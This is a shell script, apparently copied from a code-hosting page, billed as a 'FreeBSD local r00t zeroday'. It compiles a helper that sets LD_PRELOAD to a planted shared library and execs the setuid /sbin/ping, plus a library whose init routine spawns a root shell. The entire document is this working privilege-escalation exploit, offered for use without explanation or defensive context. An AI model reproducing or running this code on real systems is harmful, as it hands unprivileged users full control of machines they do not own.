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| 1 | #!/bin/sh | |
| 2 | echo ** FreeBSD local r00t zeroday | |
| 3 | echo by Reckz0r | |
| 4 | echo twitter.com/Reckz0r | |
| 5 | cat > env.c << _EOF | |
| 6 | #include <stdio.h> | |
| 7 | ||
| 8 | main() {
| |
| 9 | extern char **environ; | |
| 10 | environ = (char**)malloc(8096); | |
| 11 | ||
| 12 | environ[0] = (char*)malloc(1024); | |
| 13 | environ[1] = (char*)malloc(1024); | |
| 14 | strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0"); | |
| 15 | ||
| 16 | execl("/sbin/ping", "ping", 0);
| |
| 17 | } | |
| 18 | _EOF | |
| 19 | gcc env.c -o env | |
| 20 | cat > program.c << _EOF | |
| 21 | #include <unistd.h> | |
| 22 | #include <stdio.h> | |
| 23 | #include <sys/types.h> | |
| 24 | #include <stdlib.h> | |
| 25 | ||
| 26 | void _init() {
| |
| 27 | extern char **environ; | |
| 28 | environ=NULL; | |
| 29 | system("echo ALEX-ALEX;/bin/sh");
| |
| 30 | } | |
| 31 | _EOF | |
| 32 | gcc -o program.o -c program.c -fPIC | |
| 33 | gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles | |
| 34 | cp w00t.so.1.0 /tmp/w00t.so.1.0 | |
| 35 | ./env |
